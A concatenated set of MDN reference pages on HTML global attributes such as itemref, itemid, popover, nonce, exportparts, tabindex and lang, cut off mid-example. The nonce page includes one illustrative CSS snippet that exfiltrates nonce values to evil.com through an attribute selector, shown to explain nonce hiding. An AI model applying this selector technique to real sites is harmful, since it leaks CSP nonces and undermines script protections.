## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - {{domxref("HTMLElement.title")}} that reflects this attribute.
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/itemref/index.md
--- title: itemref slug: Web/HTML/Global_attributes/itemref page-type: html-attribute browser-compat: html.global_attributes.itemref --- {{HTMLSidebar("Global_attributes")}} Properties that are not descendants of an element with the [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) attribute can be associated with an item using the [global attribute](/en-US/docs/Web/HTML/Global_attributes) **`itemref`**. `itemref` provides a list of element IDs (not `itemid`s) elsewhere in the document, with additional properties The `itemref` attribute can only be specified on elements that have an `itemscope` attribute specified. > **Note:** The `itemref` attribute is not part of the microdata data model. It is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. For example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. ## Examples ### Representing structured data for a band This example uses microdata attributes to represent the following structured data (in [JSON-LD](https://json-ld.org/) format): ```json { "@id": "amanda", "name": "Amanda", "band": { "@id": "b", "name": "Jazz Band", "size": 12 } } ``` #### HTML ```html <div itemscope id="amanda" itemref="a b"></div> <p id="a">Name: <span itemprop="name">Amanda</span></p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>Band: <span itemprop="name">Jazz Band</span></p> <p>Size: <span itemprop="size">12</span> players</p> </div> ``` #### Result {{EmbedLiveSample('Representing structured data for a band')}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Other different global attributes](/en-US/docs/Web/HTML/Global_attributes) - Other microdata related global attributes: - [`itemid`](/en-US/docs/Web/HTML/Global_attributes/itemid) - [`itemprop`](/en-US/docs/Web/HTML/Global_attributes/itemprop) - [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) - [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/itemid/index.md
--- title: itemid slug: Web/HTML/Global_attributes/itemid page-type: html-attribute browser-compat: html.global_attributes.itemid --- {{HTMLSidebar("Global_attributes")}} The **`itemid`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) provides microdata in the form of a unique, global identifier of an item. An `itemid` attribute can only be specified for an element that has both [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) and [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype) attributes. Also, `itemid` can only be specified on elements that possess an `itemscope` attribute whose corresponding `itemtype` refers to or defines a vocabulary that supports global identifiers. The exact meaning of an `itemtype`'s global identifier is provided by the definition of that identifier within the specified vocabulary. The vocabulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled. > **Note:** The {{glossary("WHATWG")}} definition specifies that an `itemid` must be a {{glossary("URL")}}. However, the following example correctly illustrates that a {{glossary("URN")}} may also be used. This inconsistency may reflect the incomplete nature of the Microdata specification. ## Examples ### Representing structured data for a book This example uses microdata attributes to represent the following structured data: <table class="standard-table"> <tbody> <tr> <td rowspan="4">itemscope</td> <td>itemtype: itemid</td> <td colspan="2">https://schema.org/Book: urn:isbn:0-374-22848-5</td> </tr> <tr> <td>itemprop</td> <td>title</td> <td>Owls of the Eastern Ice</td> </tr> <tr> <td>itemprop</td> <td>author</td> <td>Jonathan C Slaght</td> </tr> <tr> <td>itemprop</td> <td>datePublished</td> <td>2020-08-04</td> </tr> </tbody> </table> #### HTML ```html <dl itemscope itemtype="https://schema.org/Book" itemid="urn:isbn:0-374-22848-5<"> <dt>Title</dt> <dd itemprop="title">Owls of the Eastern Ice</dd> <dt>Author</dt> <dd itemprop="author">Jonathan C Slaght</dd> <dt>Publication date</dt> <dd> <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time> </dd> </dl> ``` #### Result {{EmbedLiveSample('Representing structured data for a book')}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - Other microdata related global attributes: - [`itemprop`](/en-US/docs/Web/HTML/Global_attributes/itemprop) - [`itemref`](/en-US/docs/Web/HTML/Global_attributes/itemref) - [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) - [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/popover/index.md
--- title: popover slug: Web/HTML/Global_attributes/popover page-type: html-attribute browser-compat: html.global_attributes.popover --- {{HTMLSidebar("Global_attributes")}} The **`popover`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is used to designate an element as a popover element. Popover elements are hidden via `display: none` until opened via an invoking/control element (i.e. a `<button>` or `<input type="button">` with a [`popovertarget`](/en-US/docs/Web/HTML/Element/button#popovertarget) attribute) or a {{domxref("HTMLElement.showPopover()")}} call. When open, popover elements will appear above all other elements in the {{glossary("top layer")}}, and won't be influenced by parent elements' {{cssxref('position')}} or {{cssxref('overflow')}} styling. A popover attribute can have values [`"auto"`](/en-US/docs/Web/API/Popover_API/Using#auto_state_and_light_dismiss) (default) or [`"manual"`](/en-US/docs/Web/API/Popover_API/Using#using_manual_popover_state). Popovers that have the `auto` state can be "light dismissed" by selecting outside the popover area, and generally only allow one popover to be displayed on-screen at a time. By contrast, `manual` popovers must always be explicitly hidden, but allow for use cases such as nested popovers in menus. For detailed information on usage, see the {{domxref("Popover API", "Popover API", "", "nocode")}} landing page. ## Examples The following renders a button that will open a popover element when activated. ```html <button popovertarget="my-popover">Open Popover</button> <div popover id="my-popover">Greetings, one and all!</div> ``` {{EmbedLiveSample('Examples', 600, 200)}} > **Note:** See our [Popover API examples landing page](https://mdn.github.io/dom-examples/popover-api/) to access the full collection of MDN popover examples. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{domxref("Popover API", "Popover API", "", "nocode")}} - [`popovertarget`](/en-US/docs/Web/HTML/Element/button#popovertarget) HTML attribute - [`popovertargetaction`](/en-US/docs/Web/HTML/Element/button#popovertargetaction) HTML attribute - [`::backdrop`](/en-US/docs/Web/CSS/::backdrop) CSS pseudo-element - [`:popover-open`](/en-US/docs/Web/CSS/:popover-open) CSS pseudo-class
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/nonce/index.md
--- title: nonce slug: Web/HTML/Global_attributes/nonce page-type: html-attribute browser-compat: html.global_attributes.nonce --- {{HTMLSidebar("Global_attributes")}} The **`nonce`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is a content attribute defining a cryptographic nonce ("number used once") which can be used by [Content Security Policy](/en-US/docs/Web/HTTP/CSP) to determine whether or not a given fetch will be allowed to proceed for a given element. ## Description The `nonce` attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the [CSP](/en-US/docs/Web/HTTP/CSP) `unsafe-inline` directive, which would allowlist _all_ inline scripts or styles. > **Note:** Only use `nonce` for cases where you have no way around using unsafe inline script > or style contents. If you don't need `nonce`, don't use it. If your script is static, you could also use a CSP hash instead. > (See usage notes on [unsafe inline script](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script).) > Always try to take full advantage of [CSP](/en-US/docs/Web/HTTP/CSP) protections and avoid nonces or unsafe inline scripts whenever possible. ### Using nonce to allowlist a \<script> element There are a few steps involved to allowlist an inline script using the nonce mechanism: #### Generating values From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs: ```js const crypto = require("crypto"); crypto.randomBytes(16).toString("base64"); // '8IBTHwOdqNKAWeKl7plt8g==' ``` #### Allowlisting inline script The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist: ```html <script nonce="8IBTHwOdqNKAWeKl7plt8g=="> // … </script> ``` #### Sending a nonce with a CSP header Finally, you'll need to send the nonce value in a [`Content-Security-Policy`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) header (prepend `nonce-`): ```http Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g==' ``` ### Accessing nonces and nonce hiding For security reasons, the `nonce` content attribute is hidden (an empty string will be returned). ```js example-bad script.getAttribute("nonce"); // returns empty string ``` The [`nonce`](/en-US/docs/Web/API/HTMLElement/nonce) property is the only way to access nonces: ```js example-good script.nonce; // returns nonce value ``` Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this: ```css example-bad script[nonce~="whatever"] { background: url("https://evil.com/nonce?whatever"); } ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`HTMLElement.nonce`](/en-US/docs/Web/API/HTMLElement/nonce) - [Content Security Policy](/en-US/docs/Web/HTTP/CSP) - CSP: [`script-src`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/enterkeyhint/index.md
--- title: enterkeyhint slug: Web/HTML/Global_attributes/enterkeyhint page-type: html-attribute browser-compat: html.global_attributes.enterkeyhint --- {{HTMLSidebar("Global_attributes")}} The **`enterkeyhint`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute defining what action label (or icon) to present for the enter key on virtual keyboards. {{EmbedInteractiveExample("pages/tabbed/attribute-enterkeyhint.html","tabbed-shorter")}} ## Description [Form controls](/en-US/docs/Learn/Forms) (such as [`<textarea>`](/en-US/docs/Web/HTML/Element/textarea) or [`<input>`](/en-US/docs/Web/HTML/Element/input) elements) or elements using [`contenteditable`](/en-US/docs/Web/HTML/Global_attributes/contenteditable) can specify an [`inputmode`](/en-US/docs/Web/HTML/Global_attributes/inputmode) attribute to control what kind of virtual keyboard will be used. To further improve the user's experience, the enter key can be customized specifically by providing an `enterkeyhint` attribute indicating how the enter key should be labeled (or which icon should be shown). The enter key usually represents what the user should do next; typical actions are: sending text, inserting a new line, or searching. If no `enterkeyhint` attribute is provided, the user agent might use contextual information from the [`inputmode`](/en-US/docs/Web/HTML/Global_attributes/inputmode), [`type`](/en-US/docs/Web/HTML/Element/input#input_types), or [`pattern`](/en-US/docs/Web/HTML/Element/input#pattern) attributes to display a suitable enter key label (or icon). ### Values The `enterkeyhint` attribute is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute and only accepts the following values: <table class="no-markdown"> <thead> <tr> <th>Value</th> <th>Description</th> <th>Example label (depends on user agent and user language)</th> </tr> </thead> <tbody> <tr> <td><code>enterkeyhint="enter"</code></td> <td>Typically inserting a new line.</td> <td><kbd>↵</kbd></td> </tr> <tr> <td><code>enterkeyhint="done"</code></td> <td> Typically meaning there is nothing more to input and the input method editor (IME) will be closed. </td> <td><kbd>Done</kbd></td> </tr> <tr> <td><code>enterkeyhint="go"</code></td> <td> Typically meaning to take the user to the target of the text they typed. </td> <td><kbd>Open</kbd></td> </tr> <tr> <td><code>enterkeyhint="next"</code></td> <td> Typically taking the user to the next field that will accept text. </td> <td><kbd>Next</kbd></td> </tr> <tr> <td><code>enterkeyhint="previous"</code></td> <td> Typically taking the user to the previous field that will accept text. </td> <td><kbd>Previous</kbd></td> </tr> <tr> <td><code>enterkeyhint="search"</code></td> <td> Typically taking the user to the results of searching for the text they have typed. </td> <td><kbd>Search</kbd></td> </tr> <tr> <td><code>enterkeyhint="send"</code></td> <td>Typically delivering the text to its target.</td> <td><kbd>Send</kbd></td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`HTMLElement.enterKeyHint`](/en-US/docs/Web/API/HTMLElement/enterKeyHint) property reflecting this attribute - [`inputmode`](/en-US/docs/Web/HTML/Global_attributes/inputmode) global attribute - [`contenteditable`](/en-US/docs/Web/HTML/Global_attributes/contenteditable) global attribute - [`type`](/en-US/docs/Web/HTML/Element/input#input_types) and [`pattern`](/en-US/docs/Web/HTML/Element/input#pattern) attributes on [`<input>`](/en-US/docs/Web/HTML/Element/input) elements
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/contenteditable/index.md
--- title: contenteditable slug: Web/HTML/Global_attributes/contenteditable page-type: html-attribute browser-compat: html.global_attributes.contenteditable --- {{HTMLSidebar("Global_attributes")}} The **`contenteditable`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. {{EmbedInteractiveExample("pages/tabbed/attribute-contenteditable.html","tabbed-shorter")}} The attribute must take one of the following values: - `true` or an _empty string_, which indicates that the element is editable. - `false`, which indicates that the element is not editable. - `plaintext-only`, which indicates that the element's raw text is editable, but rich text formatting is disabled. If the attribute is given without a value, like `<label contenteditable>Example Label</label>`, its value is treated as an empty string. If this attribute is missing or its value is invalid, its value is _inherited_ from its parent element: so the element is editable if its parent is editable. Note that although its allowed values include `true` and `false`, this attribute is an _[enumerated](/en-US/docs/Glossary/Enumerated)_ one and not a _Boolean_ one. You can set the color used to draw the text insertion {{Glossary("caret")}} with the CSS {{cssxref("caret-color")}} property. Elements that are made editable, and therefore interactive, by using the `contenteditable` attribute can be focused. They participate in sequential keyboard navigation. However, elements with the `contenteditable` attribute nested within other `contenteditable` elements are not added to the tabbing sequence by default. You can add the nested `contenteditable` elements to the keyboard navigation sequence by specifying the `tabindex` value ([`tabindex="0"`](/en-US/docs/Web/HTML/Global_attributes/tabindex)). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes) - {{domxref("HTMLElement.contentEditable")}} and {{domxref("HTMLElement.isContentEditable")}} - The CSS {{cssxref("caret-color")}} property - [HTMLElement `input` event](/en-US/docs/Web/API/Element/input_event)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/class/index.md
--- title: class slug: Web/HTML/Global_attributes/class page-type: html-attribute browser-compat: html.global_attributes.class --- {{HTMLSidebar("Global_attributes")}} The **`class`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is a space-separated list of the case-sensitive classes of the element. Classes allow CSS and JavaScript to select and access specific elements via the [class selectors](/en-US/docs/Web/CSS/Class_selectors) or functions like the DOM method {{domxref("document.getElementsByClassName")}}. {{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}} Though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. For example, _attribute_ to describe an attribute rather than _italics_, although an element of this class may be presented by _italics_. Semantic names remain logical even if the presentation of the page changes. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - {{domxref('element.className')}} - {{domxref('element.classList')}} - [Introduction to CSS](/en-US/docs/Learn/CSS)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/style/index.md
--- title: style slug: Web/HTML/Global_attributes/style page-type: html-attribute browser-compat: html.global_attributes.style --- {{HTMLSidebar("Global_attributes")}} The **`style`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) contains [CSS](/en-US/docs/Web/CSS) styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{HTMLElement("style")}} element have mainly the purpose of allowing for quick styling, for example for testing purposes. {{EmbedInteractiveExample("pages/tabbed/attribute-style.html","tabbed-shorter")}} > **Note:** This attribute must not be used to convey semantic information. Even if all styling is removed, a page should remain semantically correct. Typically it shouldn't be used to hide irrelevant information; this should be done using the [`hidden`](/en-US/docs/Web/HTML/Global_attributes/hidden) attribute. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also All [global attributes](/en-US/docs/Web/HTML/Global_attributes).
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/exportparts/index.md
--- title: exportparts slug: Web/HTML/Global_attributes/exportparts page-type: html-attribute browser-compat: html.global_attributes.exportparts --- {{HTMLSidebar("Global_attributes")}} The **`exportparts`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) allows you to select and style elements existing in nested {{Glossary("shadow tree", "shadow trees")}}, by exporting their `part` names. The shadow tree is an isolated structure where identifiers, classes, and styles cannot be reached by selectors or queries belonging to a regular DOM. There are two HTML attributes that can be applied to shadow tree elements that enable targeting CSS styles from outside to shadow tree: `part` and `exportparts`. The global [`part`](/en-US/docs/Web/HTML/Global_attributes#part) attribute makes a shadow tree element visible to its parent DOM. A `part` name is used as the parameter of the {{CSSxRef("::part", "::part()")}} pseudo-element. In this way, you can apply CSS styles to elements in the shadow tree from outside of it. However, the `::part()` pseudo-element is only visible to the parent DOM. This means that when a shadow tree is nested, the parts are not visible to any ancestors other than the direct parent. The `exportparts` attribute solves this limitation. The `exportparts` attribute enables shadow tree parts to be visible outside the shadow DOM. This concept is referred to as "exporting". The `exportparts` attribute is placed on the element's _shadow host_, which is the element to which the _shadow tree_ is attached. The value of this attribute is a comma-separated list of `part` names present in the shadow tree. These names are made available to the DOMs outside the current structure. ```html <template id="ancestor-component"> <nested-component exportparts="part1, part2, part5"></nested-component> </template> ``` When exporting a `part`, you have the option to assign a different name to the part, as shown in the snippet below. The value of the `exportparts` attribute is really a comma-separated list of part-name mappings. So the `exportparts` attribute in the above code snippet is the equivalent of `exportparts="part1:part1, part2:part2, part5:part5`, indicating that each `part` is exported with the same name. In each mapping, the first string specifies the name of the part within the shadow tree, and the second string specifies the name with which the part will be exposed externally. ```html <template id="ancestor-component"> <nested-component exportparts="part1:exposed1, part2:exposed2"></nested-component> </template> ``` ## Examples ### Basic component To demonstrate how `exportparts` is used to enable targeting parts within nested components, we will create a component, and then nest it within another component. #### HTML First, let's create a card component that we will then wrap with another component. We also use the new element we created, populating the slots with plain text as content. ```html <template id="card-component-template"> <style> :host { display: block; } </style> <div class="base" part="base"> <div part="header"><slot name="header_slot"></slot></div> <div part="body"><slot name="body_slot"></slot></div> <div part="footer"><slot name="footer_slot"></slot></div> </div> </template> <card-component> <p slot="header_slot">This is the header</p> <p slot="body_slot">This is the body</p> <p slot="footer_slot">This is the footer</p> </card-component> ``` #### JavaScript We use JavaScript to define our web component defined in the HTML above: ```js customElements.define( "card-component", class extends HTMLElement { constructor() { super(); // Always call super first in constructor const cardComponent = document.getElementById( "card-component-template", ).content; const shadowRoot = this.attachShadow({ mode: "open", }); shadowRoot.appendChild(cardComponent.cloneNode(true)); } }, ); ``` #### CSS We style parts of the `<card-component>` shadow tree using the {{cssxref("::part")}} pseudo-element: ```css ::part(body) { color: red; font-style: italic; } ``` #### Results {{ EmbedLiveSample('Basic_component', '100%', '160') }} ### Nested component Continuing the above `<card-component>` example, we create a nested component by wrapping the `<card-component>` within another component; in this case, the `<card-wrapper>` component. We then export the parts from the nested component that we want to make styleable from outside the component's shadow tree with the `exportparts` attribute. #### HTML ```html hidden <template id="card-component-template"> <style> :host { display: block; } </style> <div class="base" part="base"> <div part="header"><slot name="header_slot"></slot></div> <div part="body"><slot name="body_slot"></slot></div> <div part="footer"><slot name="footer_slot"></slot></div> </div> </template> ``` ```html <template id="card-wrapper"> <style> :host { display: block; } </style> <card-component exportparts="base, header, body"> <slot name="H" slot="header_slot"></slot> <slot name="B" slot="body_slot"></slot> <slot name="F" slot="footer_slot"></slot> </card-component> </template> ``` We include a `<card-wrapper>` custom element, and a `<card-component>` for comparison: ```html <h2>Card wrapper</h2> <card-wrapper> <p slot="H">This is the header</p> <p slot="B">This is the body</p> <p slot="F">This is the footer</p> </card-wrapper> <h2>Card component</h2> <card-component> <p slot="header_slot">This is the header</p> <p slot="body_slot">This is the body</p> <p slot="footer_slot">This is the footer</p> </card-component> ``` #### JavaScript ```js hidden customElements.define( "card-component", class extends HTMLElement { constructor() { super(); // Always call super first in constructor const cardComponent = document.getElementById( "card-component-template", ).content; const shadowRoot = this.attachShadow({ mode: "open", }); shadowRoot.appendChild(cardComponent.cloneNode(true)); } }, ); ``` ```js customElements.define( "card-wrapper", class extends HTMLElement { constructor() { super(); // Always call super first in constructor const cardWrapper = document.getElementById("card-wrapper").content; const shadowRoot = this.attachShadow({ mode: "open", }); shadowRoot.appendChild(cardWrapper.cloneNode(true)); } }, ); ``` #### CSS Now, we can target parts of the `<card-component>` directly and when nested within a `<card-wrapper>` like so: ```css h2 { background-color: #dedede; } card-wrapper, card-component { border: 1px dashed blue; width: fit-content; } ::part(body) { color: red; font-style: italic; } ::part(header), ::part(footer) { font-weight: bold; } ``` #### Results {{ EmbedLiveSample('Nested_component', '100%', '400') }} Note `footer` is not bold when nested, as we did not include it in `exportparts`. ### Exposing mapped parts To rename exported parts, we include a comma-separated list of mapped parts, with each mapped part including the original name and exported name separated by a colon (`:`): #### HTML We update the prior `<card-wrapper>` custom element with the remapping syntax (omitting `body` from the exported parts list): ```html hidden <template id="card-component-template"> <div class="base" part="base"> <div part="header"><slot name="header_slot"></slot></div> <div part="body"><slot name="body_slot"></slot></div> <div part="footer"><slot name="footer_slot"></slot></div> </div> </template> <card-wrapper> <p slot="H">This is the header</p> <p slot="B">This is the body</p> <p slot="F">This is the footer</p> </card-wrapper> ``` ```html <template id="card-wrapper"> <card-component exportparts=" base:card__base, header:card__header, footer:card__footer "> <span slot="header_slot"><slot name="H"></slot></span> <span slot="body_slot"><slot name="B"></slot></span> <span slot="footer_slot"><slot name="F"></slot></span> </card-component> </template> ``` #### JavaScript ```js hidden customElements.define( "card-component", class extends HTMLElement { constructor() { super(); // Always call super first in constructor const cardComponent = document.getElementById( "card-component-template", ).content; const shadowRoot = this.attachShadow({ mode: "open", }); shadowRoot.appendChild(cardComponent.cloneNode(true)); } }, ); ``` ```js customElements.define( "card-wrapper", class extends HTMLElement { constructor() { super(); // Always call super first in constructor const cardWrapper = document.getElementById("card-wrapper").content; const shadowRoot = this.attachShadow({ mode: "open", }); shadowRoot.appendChild(cardWrapper.cloneNode(true)); } }, ); ``` #### CSS In targetting the parts of the `<card-component>` from within the `<card-wrapper>`, we can only style the exported parts via their exposed part names: ```css /* selects the exported parts name */ ::part(card__header) { font-weight: bold; } /* selects nothing: these part names were not exported */ ::part(footer), ::part(body) { font-weight: bold; } ``` #### Results {{ EmbedLiveSample('Exposing_mapped_parts', '100%', '160') }} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`part`](/en-US/docs/Web/HTML/Global_attributes/part) HTML attribute - {{HTMLElement("template")}} and {{HTMLElement("slot")}} HTML elements - {{CSSXref("::part")}} and {{CSSXref("::slotted")}} pseudo-elements - {{CSSXref(":host")}} pseudo-class - [`ShadowRoot`]("/en-US/docs/Web/API/ShadowRoot) interface - {{DOMxRef("Element.part")}} property - [Using templates and slots](/en-US/docs/Web/API/Web_components/Using_templates_and_slots) - [CSS scoping](/en-US/docs/Web/CSS/CSS_scoping) module
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/tabindex/index.md
--- title: tabindex slug: Web/HTML/Global_attributes/tabindex page-type: html-attribute browser-compat: html.global_attributes.tabindex --- {{HTMLSidebar("Global_attributes")}} The **`tabindex`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) allows developers to make HTML elements focusable, allow or prevent them from being sequentially focusable (usually with the <kbd>Tab</kbd> key, hence the name) and determine their relative ordering for sequential focus navigation. {{EmbedInteractiveExample("pages/tabbed/attribute-tabindex.html","tabbed-standard")}} It accepts an integer as a value, with different results depending on the integer's value: > **Note:** If an HTML element renders and has `tabindex` attribute with any valid integer value, the element can be focused with JavaScript (by calling the [`focus()`](/en-US/docs/Web/API/HTMLElement/focus) method) or visually by clicking with the mouse. The particular `tabindex` value controls whether the element is `tabbable` (i.e. reachable via sequential keyboard navigation, usually with the <kbd>Tab</kbd> key). - A _negative value_ (the exact negative value doesn't actually matter, usually `tabindex="-1"`) means that the element is not reachable via sequential keyboard navigation. > **Note:** `tabindex="-1"` may be useful for elements that should not be navigated to directly using the <kbd>Tab</kbd> key, but need to have keyboard focus set to them. Examples include an off-screen modal window that should be focused when it comes into view, or a form submission error message that should be immediately focused when an errant form is submitted. - `tabindex="0"` means that the element should be focusable in sequential keyboard navigation, after any positive `tabindex` values. The focus navigation order of these elements is defined by their order in the document source. - A _positive value_ means the element should be focusable in sequential keyboard navigation, with its order defined by the value of the number. That is, `tabindex="4"` is focused before `tabindex="5"` and `tabindex="0"`, but after `tabindex="3"`. If multiple elements share the same positive `tabindex` value, their order relative to each other follows their position in the document source. The maximum value for `tabindex` is 32767. - If the `tabindex` attribute is included with no value set, whether the element is focusable is determined by the user agent. > **Warning:** You are recommended to only use `0` and `-1` as `tabindex` values. Avoid using `tabindex` values greater than `0` and CSS properties that can change the order of focusable HTML elements ([Ordering flex items](/en-US/docs/Web/CSS/CSS_flexible_box_layout/Ordering_flex_items)). Doing so makes it difficult for people who rely on using keyboard for navigation or assistive technology to navigate and operate page content. Instead, write the document with the elements in a logical sequence. Some focusable HTML elements have a default `tabindex` value of `0` set under the hood by the [user agent](/en-US/docs/Glossary/User_agent). These elements are an {{HTMLElement("a")}} or {{HTMLElement("area")}} with `href` attribute, {{HTMLElement("button")}}, {{HTMLElement("frame")}} {{deprecated_inline}}, {{HTMLElement("iframe")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, and SVG {{SVGElement("a")}} element, or a {{HTMLElement("summary")}} element that provides summary for a {{HTMLElement("details")}} element. Developers shouldn't add the `tabindex` attribute to these elements unless it changes the default behavior (for example, including a negative value will remove the element from the focus navigation order). > **Warning:** The tabindex attribute must not be used on the {{HTMLElement("dialog")}} element. ## Accessibility concerns Avoid using the `tabindex` attribute in conjunction with non-[interactive content](/en-US/docs/Web/HTML/Content_categories#interactive_content) to make something intended to be interactive focusable by keyboard input. An example of this would be using a {{HTMLElement("div")}} element to describe a button, instead of the {{HTMLElement("button")}} element. Interactive components authored using non-interactive elements are not listed in the [accessibility tree](/en-US/docs/Learn/Accessibility/What_is_accessibility#accessibility_apis). This prevents assistive technology from being able to navigate to and manipulate those components. The content should be semantically described using interactive elements ({{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, etc.) instead. These elements have built-in roles and states that communicate status to the accessibility that would otherwise have to be managed by [ARIA](/en-US/docs/Web/Accessibility/ARIA). - [Using the tabindex attribute | The Paciello Group](https://www.tpgi.com/using-the-tabindex-attribute/) ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes) - {{domxref("HTMLElement.tabIndex")}} that reflects this attribute - Accessibility problems with `tabindex`: see [Don't Use Tabindex Greater than 0](https://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html) by Adrian Roselli
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/lang/index.md
--- title: lang slug: Web/HTML/Global_attributes/lang page-type: html-attribute browser-compat: html.global_attributes.lang --- {{HTMLSidebar("Global_attributes")}} The **`lang`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user. The attribute contains a single "language tag" in the format defined in {{RFC(5646, "Tags for Identifying Languages (also known as BCP 47)")}}. > **Note:** The default value of `lang` is `unknown`, therefore it is recommended to always specify this attribute with the appropriate value. {{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}} If the attribute value is the _empty string_ (`lang=""`), the language is set to _unknown_; if the language tag is not valid according to BCP47, it is set to _invalid_. Even if the **lang** attribute is set, it may not be taken into account, as the [**xml:lang**](/en-US/docs/Web/HTML/Global_attributes#lang) attribute has priority. For the CSS pseudo-class {{cssxref(":lang")}}, two invalid language names are different if their names are different. So while `:lang(es)` matches both `lang="es-ES"` and `lang="es-419"`, `:lang(xyzzy)` would _not_ match `lang="xyzzy-Zorp!"`. ## Language tag syntax The full BCP47 syntax is in-depth enough to mark extremely specific language dialects, but most usage is much simpler. A language tag is made of hyphen-separated _language subtags_, where each subtag indicates a certain property of the language. The 3 most common subtags are: - Language subtag - : Required. A 2-or-3-character code that defines the basic language, typically written in all lowercase. For example, the language code for English is `en`, and the code for Badeshi is `bdz`. - Script subtag - : Optional. This subtag defines the writing system used for the language, and is always 4 characters long, with the first letter capitalized. For example, French-in-Braille is `fr-Brai` and `ja-Kana` is Japanese written with the Katakana alphabet. If the language is written in a highly typical way, like English in the Latin alphabet, there is no need to use this subtag. - Region subtag - : Optional. This subtag defines a dialect of the base language from a particular location, and is either 2 letters in ALLCAPS matching a country code, or 3 numbers matching a non-country area. For example, `es-ES` is for Spanish as spoken in Spain, and `es-013` is Spanish as spoken in Central America. "International Spanish" would just be `es`. The script subtag precedes the region subtag if both are present — `ru-Cyrl-BY` is Russian, written in the Cyrillic alphabet, as spoken in Belarus. To find the correct subtag codes for a language, try [the Language Subtag Lookup](https://r12a.github.io/app-subtags/). ## Accessibility concerns WCAG Success Criterion 3.1.1 **requires** that a page language is specified in a way which may be 'programmatically determined' (i.e. via the **`lang`** attribute). WCAG Success Criterion 3.1.2 requires that pages with **parts** in different languages have the languages of those parts specified too. Again, the **`lang`** attribute is the correct mechanism for this. The purpose of these requirements is primarily to allow assistive technologies such as screen readers to invoke the correct pronunciation. For example, the language menu on this site (MDN) includes a **`lang`** attribute for each entry: ```html <div class="dropdown-container language-menu"> <button id="header-language-menu" type="button" class="dropdown-menu-label" aria-haspopup="true" 